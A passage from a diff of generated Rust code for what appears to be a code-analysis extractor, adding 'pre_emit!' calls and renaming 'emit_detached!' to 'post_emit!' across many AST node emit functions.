self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -577,6 +610,7 @@ impl Translator<'_> { &mut self, node: &ast::BecomeExpr, ) -> Option> { + pre_emit!(BecomeExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -588,7 +622,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(BecomeExpr, self, node, label); + post_emit!(BecomeExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -596,6 +630,7 @@ impl Translator<'_> { &mut self, node: &ast::BinExpr, ) -> Option> { + pre_emit!(BinaryExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -611,7 +646,7 @@ impl Translator<'_> { rhs, }); self.emit_location(label, node); - emit_detached!(BinaryExpr, self, node, label); + post_emit!(BinaryExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -619,6 +654,7 @@ impl Translator<'_> { &mut self, node: &ast::BlockExpr, ) -> Option> { + pre_emit!(BlockExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -644,18 +680,19 @@ impl Translator<'_> { stmt_list, }); self.emit_location(label, node); - emit_detached!(BlockExpr, self, node, label); + post_emit!(BlockExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_box_pat(&mut self, node: &ast::BoxPat) -> Option> { + pre_emit!(BoxPat, self, node); let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::BoxPat { id: TrapId::Star, pat, }); self.emit_location(label, node); - emit_detached!(BoxPat, self, node, label); + post_emit!(BoxPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -663,6 +700,7 @@ impl Translator<'_> { &mut self, node: &ast::BreakExpr, ) -> Option> { + pre_emit!(BreakExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -676,7 +714,7 @@ impl Translator<'_> { lifetime, }); self.emit_location(label, node); - emit_detached!(BreakExpr, self, node, label); + post_emit!(BreakExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -684,6 +722,7 @@ impl Translator<'_> { &mut self, node: &ast::CallExpr, ) -> Option> { + pre_emit!(CallExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -697,7 +736,7 @@ impl Translator<'_> { function, }); self.emit_location(label, node); - emit_detached!(CallExpr, self, node, label); + post_emit!(CallExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -705,6 +744,7 @@ impl Translator<'_> { &mut self, node: &ast::CastExpr, ) -> Option> { + pre_emit!(CastExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -718,7 +758,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(CastExpr, self, node, label); + post_emit!(CastExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -726,6 +766,7 @@ impl Translator<'_> { &mut self, node: &ast::ClosureBinder, ) -> Option> { + pre_emit!(ClosureBinder, self, node); let generic_param_list = node .generic_param_list() .and_then(|x| self.emit_generic_param_list(&x)); @@ -734,7 +775,7 @@ impl Translator<'_> { generic_param_list, }); self.emit_location(label, node); - emit_detached!(ClosureBinder, self, node, label); + post_emit!(ClosureBinder, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -742,6 +783,7 @@ impl Translator<'_> { &mut self, node: &ast::ClosureExpr, ) -> Option> { + pre_emit!(ClosureExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -771,11 +813,12 @@ impl Translator<'_> { ret_type, }); self.emit_location(label, node); - emit_detached!(ClosureExpr, self, node, label); + post_emit!(ClosureExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_const(&mut self, node: &ast::Const) -> Option> { + pre_emit!(Const, self, node); if self.should_be_excluded(node) { return None; } @@ -797,7 +840,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(Const, self, node, label); + post_emit!(Const, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -805,13 +848,14 @@ impl Translator<'_> { &mut self, node: &ast::ConstArg, ) -> Option> { + pre_emit!(ConstArg, self, node); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ConstArg { id: TrapId::Star, expr, }); self.emit_location(label, node); - emit_detached!(ConstArg, self, node, label); + post_emit!(ConstArg, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -819,6 +863,7 @@ impl Translator<'_> { &mut self, node: &ast::ConstBlockPat, ) -> Option> { + pre_emit!(ConstBlockPat, self, node); let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let is_const = node.const_token().is_some(); let label = self.trap.emit(generated::ConstBlockPat { @@ -827,7 +872,7 @@ impl Translator<'_> { is_const, }); self.emit_location(label, node); - emit_detached!(ConstBlockPat, self, node, label); + post_emit!(ConstBlockPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -835,6 +880,7 @@ impl Translator<'_> { &mut self, node: &ast::ConstParam, ) -> Option> { + pre_emit!(ConstParam, self, node); if self.should_be_excluded(node) { return None; } @@ -852,7 +898,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(ConstParam, self, node, label); + post_emit!(ConstParam, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -860,6 +906,7 @@ impl Translator<'_> { &mut self, node: &ast::ContinueExpr, ) -> Option> { + pre_emit!(ContinueExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -871,7 +918,7 @@ impl Translator<'_> { lifetime, }); self.emit_location(label, node); - emit_detached!(ContinueExpr, self, node, label); + post_emit!(ContinueExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -879,6 +926,7 @@ impl Translator<'_> { &mut self, node: &ast::DynTraitType, ) -> Option> { + pre_emit!(DynTraitTypeRepr, self, node); let type_bound_list = node .type_bound_list() .and_then(|x| self.emit_type_bound_list(&x)); @@ -887,11 +935,12 @@ impl Translator<'_> { type_bound_list, }); self.emit_location(label, node); - emit_detached!(DynTraitTypeRepr, self, node, label); + post_emit!(DynTraitTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_enum(&mut self, node: &ast::Enum) -> Option> { + pre_emit!(Enum, self, node); if self.should_be_excluded(node) { return None; } @@ -913,7 +962,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(Enum, self, node, label); + post_emit!(Enum, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -921,13 +970,14 @@ impl Translator<'_> { &mut self, node: &ast::ExprStmt, ) -> Option> { + pre_emit!(ExprStmt, self, node); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::ExprStmt { id: TrapId::Star, expr, }); self.emit_location(label, node); - emit_detached!(ExprStmt, self, node, label); + post_emit!(ExprStmt, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -935,6 +985,7 @@ impl Translator<'_> { &mut self, node: &ast::ExternBlock, ) -> Option> { + pre_emit!(ExternBlock, self, node); if self.should_be_excluded(node) { return None; } @@ -952,7 +1003,7 @@ impl Translator<'_> { is_unsafe, }); self.emit_location(label, node); - emit_detached!(ExternBlock, self, node, label); + post_emit!(ExternBlock, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -960,6 +1011,7 @@ impl Translator<'_> { &mut self, node: &ast::ExternCrate, ) -> Option> { + pre_emit!(ExternCrate, self, node); if self.should_be_excluded(node) { return None; } @@ -975,7 +1027,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(ExternCrate, self, node, label); + post_emit!(ExternCrate, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -983,6 +1035,7 @@ impl Translator<'_> { &mut self, node: &ast::ExternItemList, ) -> Option> { + pre_emit!(ExternItemList, self, node); if self.should_be_excluded(node) { return None; } @@ -997,7 +1050,7 @@ impl Translator<'_> { extern_items, }); self.emit_location(label, node); - emit_detached!(ExternItemList, self, node, label); + post_emit!(ExternItemList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1005,6 +1058,7 @@ impl Translator<'_> { &mut self, node: &ast::FieldExpr, ) -> Option> { + pre_emit!(FieldExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1018,11 +1072,12 @@ impl Translator<'_> { identifier, }); self.emit_location(label, node); - emit_detached!(FieldExpr, self, node, label); + post_emit!(FieldExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_fn(&mut self, node: &ast::Fn) -> Option> { + pre_emit!(Function, self, node); if self.should_be_excluded(node) { return None; } @@ -1060,7 +1115,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(Function, self, node, label); + post_emit!(Function, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1068,6 +1123,7 @@ impl Translator<'_> { &mut self, node: &ast::FnPtrType, ) -> Option> { + pre_emit!(FnPtrTypeRepr, self, node); let abi = node.abi().and_then(|x| self.emit_abi(&x)); let is_async = node.async_token().is_some(); let is_const = node.const_token().is_some(); @@ -1084,7 +1140,7 @@ impl Translator<'_> { ret_type, }); self.emit_location(label, node); - emit_detached!(FnPtrTypeRepr, self, node, label); + post_emit!(FnPtrTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1092,6 +1148,7 @@ impl Translator<'_> { &mut self, node: &ast::ForExpr, ) -> Option> { + pre_emit!(ForExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1109,7 +1166,7 @@ impl Translator<'_> { pat, }); self.emit_location(label, node); - emit_detached!(ForExpr, self, node, label); + post_emit!(ForExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1117,6 +1174,7 @@ impl Translator<'_> { &mut self, node: &ast::ForType, ) -> Option> { + pre_emit!(ForTypeRepr, self, node); let generic_param_list = node .generic_param_list() .and_then(|x| self.emit_generic_param_list(&x)); @@ -1127,7 +1185,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(ForTypeRepr, self, node, label); + post_emit!(ForTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1135,6 +1193,7 @@ impl Translator<'_> { &mut self, node: &ast::FormatArgsArg, ) -> Option> { + pre_emit!(FormatArgsArg, self, node); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let name = node.name().and_then(|x| self.emit_name(&x)); let label = self.trap.emit(generated::FormatArgsArg { @@ -1143,7 +1202,7 @@ impl Translator<'_> { name, }); self.emit_location(label, node); - emit_detached!(FormatArgsArg, self, node, label); + post_emit!(FormatArgsArg, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1151,6 +1210,7 @@ impl Translator<'_> { &mut self, node: &ast::FormatArgsExpr, ) -> Option> { + pre_emit!(FormatArgsExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1167,7 +1227,7 @@ impl Translator<'_> { template, }); self.emit_location(label, node); - emit_detached!(FormatArgsExpr, self, node, label); + post_emit!(FormatArgsExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1175,6 +1235,7 @@ impl Translator<'_> { &mut self, node: &ast::GenericArgList, ) -> Option> { + pre_emit!(GenericArgList, self, node); let generic_args = node .generic_args() .filter_map(|x| self.emit_generic_arg(&x)) @@ -1184,7 +1245,7 @@ impl Translator<'_> { generic_args, }); self.emit_location(label, node); - emit_detached!(GenericArgList, self, node, label); + post_emit!(GenericArgList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1192,6 +1253,7 @@ impl Translator<'_> { &mut self, node: &ast::GenericParamList, ) -> Option> { + pre_emit!(GenericParamList, self, node); let generic_params = node .generic_params() .filter_map(|x| self.emit_generic_param(&x)) @@ -1201,7 +1263,7 @@ impl Translator<'_> { generic_params, }); self.emit_location(label, node); - emit_detached!(GenericParamList, self, node, label); + post_emit!(GenericParamList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1209,6 +1271,7 @@ impl Translator<'_> { &mut self, node: &ast::IdentPat, ) -> Option> { + pre_emit!(IdentPat, self, node); if self.should_be_excluded(node) { return None; } @@ -1226,11 +1289,12 @@ impl Translator<'_> { pat, }); self.emit_location(label, node); - emit_detached!(IdentPat, self, node, label); + post_emit!(IdentPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_if_expr(&mut self, node: &ast::IfExpr) -> Option> { + pre_emit!(IfExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1246,11 +1310,12 @@ impl Translator<'_> { then, }); self.emit_location(label, node); - emit_detached!(IfExpr, self, node, label); + post_emit!(IfExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_impl(&mut self, node: &ast::Impl) -> Option> { + pre_emit!(Impl, self, node); if self.should_be_excluded(node) { return None; } @@ -1282,7 +1347,7 @@ impl Translator<'_> { where_clause, }); self.emit_location(label, node); - emit_detached!(Impl, self, node, label); + post_emit!(Impl, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1290,6 +1355,7 @@ impl Translator<'_> { &mut self, node: &ast::ImplTraitType, ) -> Option> { + pre_emit!(ImplTraitTypeRepr, self, node); let type_bound_list = node .type_bound_list() .and_then(|x| self.emit_type_bound_list(&x)); @@ -1298,7 +1364,7 @@ impl Translator<'_> { type_bound_list, }); self.emit_location(label, node); - emit_detached!(ImplTraitTypeRepr, self, node, label); + post_emit!(ImplTraitTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1306,6 +1372,7 @@ impl Translator<'_> { &mut self, node: &ast::IndexExpr, ) -> Option> { + pre_emit!(IndexExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1319,7 +1386,7 @@ impl Translator<'_> { index, }); self.emit_location(label, node); - emit_detached!(IndexExpr, self, node, label); + post_emit!(IndexExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1327,11 +1394,12 @@ impl Translator<'_> { &mut self, node: &ast::InferType, ) -> Option> { + pre_emit!(InferTypeRepr, self, node); let label = self .trap .emit(generated::InferTypeRepr { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(InferTypeRepr, self, node, label); + post_emit!(InferTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1339,6 +1407,7 @@ impl Translator<'_> { &mut self, node: &ast::ItemList, ) -> Option> { + pre_emit!(ItemList, self, node); if self.should_be_excluded(node) { return None; } @@ -1350,18 +1419,19 @@ impl Translator<'_> { items, }); self.emit_location(label, node); - emit_detached!(ItemList, self, node, label); + post_emit!(ItemList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_label(&mut self, node: &ast::Label) -> Option> { + pre_emit!(Label, self, node); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::Label { id: TrapId::Star, lifetime, }); self.emit_location(label, node); - emit_detached!(Label, self, node, label); + post_emit!(Label, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1369,13 +1439,14 @@ impl Translator<'_> { &mut self, node: &ast::LetElse, ) -> Option> { + pre_emit!(LetElse, self, node); let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::LetElse { id: TrapId::Star, block_expr, }); self.emit_location(label, node); - emit_detached!(LetElse, self, node, label); + post_emit!(LetElse, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1383,6 +1454,7 @@ impl Translator<'_> { &mut self, node: &ast::LetExpr, ) -> Option> { + pre_emit!(LetExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1396,7 +1468,7 @@ impl Translator<'_> { pat, }); self.emit_location(label, node); - emit_detached!(LetExpr, self, node, label); + post_emit!(LetExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1404,6 +1476,7 @@ impl Translator<'_> { &mut self, node: &ast::LetStmt, ) -> Option> { + pre_emit!(LetStmt, self, node); if self.should_be_excluded(node) { return None; } @@ -1421,7 +1494,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(LetStmt, self, node, label); + post_emit!(LetStmt, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1429,13 +1502,14 @@ impl Translator<'_> { &mut self, node: &ast::Lifetime, ) -> Option> { + pre_emit!(Lifetime, self, node); let text = node.try_get_text(); let label = self.trap.emit(generated::Lifetime { id: TrapId::Star, text, }); self.emit_location(label, node); - emit_detached!(Lifetime, self, node, label); + post_emit!(Lifetime, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1443,13 +1517,14 @@ impl Translator<'_> { &mut self, node: &ast::LifetimeArg, ) -> Option> { + pre_emit!(LifetimeArg, self, node); let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::LifetimeArg { id: TrapId::Star, lifetime, }); self.emit_location(label, node); - emit_detached!(LifetimeArg, self, node, label); + post_emit!(LifetimeArg, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1457,6 +1532,7 @@ impl Translator<'_> { &mut self, node: &ast::LifetimeParam, ) -> Option> { + pre_emit!(LifetimeParam, self, node); if self.should_be_excluded(node) { return None; } @@ -1472,7 +1548,7 @@ impl Translator<'_> { type_bound_list, }); self.emit_location(label, node); - emit_detached!(LifetimeParam, self, node, label); + post_emit!(LifetimeParam, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1480,6 +1556,7 @@ impl Translator<'_> { &mut self, node: &ast::Literal, ) -> Option> { + pre_emit!(LiteralExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1491,7 +1568,7 @@ impl Translator<'_> { text_value, }); self.emit_location(label, node); - emit_detached!(LiteralExpr, self, node, label); + post_emit!(LiteralExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1499,13 +1576,14 @@ impl Translator<'_> { &mut self, node: &ast::LiteralPat, ) -> Option> { + pre_emit!(LiteralPat, self, node); let literal = node.literal().and_then(|x| self.emit_literal(&x)); let label = self.trap.emit(generated::LiteralPat { id: TrapId::Star, literal, }); self.emit_location(label, node); - emit_detached!(LiteralPat, self, node, label); + post_emit!(LiteralPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1513,6 +1591,7 @@ impl Translator<'_> { &mut self, node: &ast::LoopExpr, ) -> Option> { + pre_emit!(LoopExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1526,7 +1605,7 @@ impl Translator<'_> { loop_body, }); self.emit_location(label, node); - emit_detached!(LoopExpr, self, node, label); + post_emit!(LoopExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1534,6 +1613,7 @@ impl Translator<'_> { &mut self, node: &ast::MacroCall, ) -> Option> { + pre_emit!(MacroCall, self, node); if self.should_be_excluded(node) { return None; } @@ -1547,7 +1627,7 @@ impl Translator<'_> { token_tree, }); self.emit_location(label, node); - emit_detached!(MacroCall, self, node, label); + post_emit!(MacroCall, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1555,6 +1635,7 @@ impl Translator<'_> { &mut self, node: &ast::MacroDef, ) -> Option> { + pre_emit!(MacroDef, self, node); if self.should_be_excluded(node) { return None; } @@ -1572,7 +1653,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(MacroDef, self, node, label); + post_emit!(MacroDef, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1580,13 +1661,14 @@ impl Translator<'_> { &mut self, node: &ast::MacroExpr, ) -> Option> { + pre_emit!(MacroExpr, self, node); let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroExpr { id: TrapId::Star, macro_call, }); self.emit_location(label, node); - emit_detached!(MacroExpr, self, node, label); + post_emit!(MacroExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1594,13 +1676,14 @@ impl Translator<'_> { &mut self, node: &ast::MacroItems, ) -> Option> { + pre_emit!(MacroItems, self, node); let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::MacroItems { id: TrapId::Star, items, }); self.emit_location(label, node); - emit_detached!(MacroItems, self, node, label); + post_emit!(MacroItems, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1608,13 +1691,14 @@ impl Translator<'_> { &mut self, node: &ast::MacroPat, ) -> Option> { + pre_emit!(MacroPat, self, node); let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroPat { id: TrapId::Star, macro_call, }); self.emit_location(label, node); - emit_detached!(MacroPat, self, node, label); + post_emit!(MacroPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1622,6 +1706,7 @@ impl Translator<'_> { &mut self, node: &ast::MacroRules, ) -> Option> { + pre_emit!(MacroRules, self, node); if self.should_be_excluded(node) { return None; } @@ -1637,7 +1722,7 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(MacroRules, self, node, label); + post_emit!(MacroRules, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1645,6 +1730,7 @@ impl Translator<'_> { &mut self, node: &ast::MacroStmts, ) -> Option> { + pre_emit!(MacroBlockExpr, self, node); let tail_expr = node.expr().and_then(|x| self.emit_expr(&x)); let statements = node .statements() @@ -1656,7 +1742,7 @@ impl Translator<'_> { statements, }); self.emit_location(label, node); - emit_detached!(MacroBlockExpr, self, node, label); + post_emit!(MacroBlockExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1664,13 +1750,14 @@ impl Translator<'_> { &mut self, node: &ast::MacroType, ) -> Option> { + pre_emit!(MacroTypeRepr, self, node); let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroTypeRepr { id: TrapId::Star, macro_call, }); self.emit_location(label, node); - emit_detached!(MacroTypeRepr, self, node, label); + post_emit!(MacroTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1678,6 +1765,7 @@ impl Translator<'_> { &mut self, node: &ast::MatchArm, ) -> Option> { + pre_emit!(MatchArm, self, node); if self.should_be_excluded(node) { return None; } @@ -1693,7 +1781,7 @@ impl Translator<'_> { pat, }); self.emit_location(label, node); - emit_detached!(MatchArm, self, node, label); + post_emit!(MatchArm, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1701,6 +1789,7 @@ impl Translator<'_> { &mut self, node: &ast::MatchArmList, ) -> Option> { + pre_emit!(MatchArmList, self, node); if self.should_be_excluded(node) { return None; } @@ -1715,7 +1804,7 @@ impl Translator<'_> { attrs, }); self.emit_location(label, node); - emit_detached!(MatchArmList, self, node, label); + post_emit!(MatchArmList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1723,6 +1812,7 @@ impl Translator<'_> { &mut self, node: &ast::MatchExpr, ) -> Option> { + pre_emit!(MatchExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1738,7 +1828,7 @@ impl Translator<'_> { match_arm_list, }); self.emit_location(label, node); - emit_detached!(MatchExpr, self, node, label); + post_emit!(MatchExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1746,17 +1836,19 @@ impl Translator<'_> { &mut self, node: &ast::MatchGuard, ) -> Option> { + pre_emit!(MatchGuard, self, node); let condition = node.condition().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::MatchGuard { id: TrapId::Star, condition, }); self.emit_location(label, node); - emit_detached!(MatchGuard, self, node, label); + post_emit!(MatchGuard, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_meta(&mut self, node: &ast::Meta) -> Option> { + pre_emit!(Meta, self, node); let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); let path = node.path().and_then(|x| self.emit_path(&x)); @@ -1769,7 +1861,7 @@ impl Translator<'_> { token_tree, }); self.emit_location(label, node); - emit_detached!(Meta, self, node, label); + post_emit!(Meta, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1777,6 +1869,7 @@ impl Translator<'_> { &mut self, node: &ast::MethodCallExpr, ) -> Option> { + pre_emit!(MethodCallExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1796,11 +1889,12 @@ impl Translator<'_> { receiver, }); self.emit_location(label, node); - emit_detached!(MethodCallExpr, self, node, label); + post_emit!(MethodCallExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_module(&mut self, node: &ast::Module) -> Option> { + pre_emit!(Module, self, node); if self.should_be_excluded(node) { return None; } @@ -1816,18 +1910,19 @@ impl Translator<'_> { visibility, }); self.emit_location(label, node); - emit_detached!(Module, self, node, label); + post_emit!(Module, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_name(&mut self, node: &ast::Name) -> Option> { + pre_emit!(Name, self, node); let text = node.try_get_text(); let label = self.trap.emit(generated::Name { id: TrapId::Star, text, }); self.emit_location(label, node); - emit_detached!(Name, self, node, label); + post_emit!(Name, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1835,13 +1930,14 @@ impl Translator<'_> { &mut self, node: &ast::NameRef, ) -> Option> { + pre_emit!(NameRef, self, node); let text = node.try_get_text(); let label = self.trap.emit(generated::NameRef { id: TrapId::Star, text, }); self.emit_location(label, node); - emit_detached!(NameRef, self, node, label); + post_emit!(NameRef, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1849,11 +1945,12 @@ impl Translator<'_> { &mut self, node: &ast::NeverType, ) -> Option> { + pre_emit!(NeverTypeRepr, self, node); let label = self .trap .emit(generated::NeverTypeRepr { id: TrapId::Star }); self.emit_location(label, node); - emit_detached!(NeverTypeRepr, self, node, label); + post_emit!(NeverTypeRepr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1861,6 +1958,7 @@ impl Translator<'_> { &mut self, node: &ast::OffsetOfExpr, ) -> Option> { + pre_emit!(OffsetOfExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1877,22 +1975,24 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(OffsetOfExpr, self, node, label); + post_emit!(OffsetOfExpr, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_or_pat(&mut self, node: &ast::OrPat) -> Option> { + pre_emit!(OrPat, self, node); let pats = node.pats().filter_map(|x| self.emit_pat(&x)).collect(); let label = self.trap.emit(generated::OrPat { id: TrapId::Star, pats, }); self.emit_location(label, node); - emit_detached!(OrPat, self, node, label); + post_emit!(OrPat, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } pub(crate) fn emit_param(&mut self, node: &ast::Param) -> Option> { + pre_emit!(Param, self, node); if self.should_be_excluded(node) { return None; } @@ -1906,7 +2006,7 @@ impl Translator<'_> { type_repr, }); self.emit_location(label, node); - emit_detached!(Param, self, node, label); + post_emit!(Param, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1914,6 +2014,7 @@ impl Translator<'_> { &mut self, node: &ast::ParamList, ) -> Option> { + pre_emit!(ParamList, self, node); let params = node.params().filter_map(|x| self.emit_param(&x)).collect(); let self_param = node.self_param().and_then(|x| self.emit_self_param(&x)); let label = self.trap.emit(generated::ParamList { @@ -1922,7 +2023,7 @@ impl Translator<'_> { self_param, }); self.emit_location(label, node); - emit_detached!(ParamList, self, node, label); + post_emit!(ParamList, self, node, label); self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } @@ -1930,6 +2031,7 @@ impl Translator<'_> { &mut self, node: &ast::ParenExpr, ) -> Option> { + pre_emit!(ParenExpr, self, node); if self.should_be_excluded(node) { return None; } @@ -1941,7 +2043,7 @@ impl Translator<'_> { expr, }); self.emit_location(label, node); - emit_detached!(ParenExpr, self, node, label); + 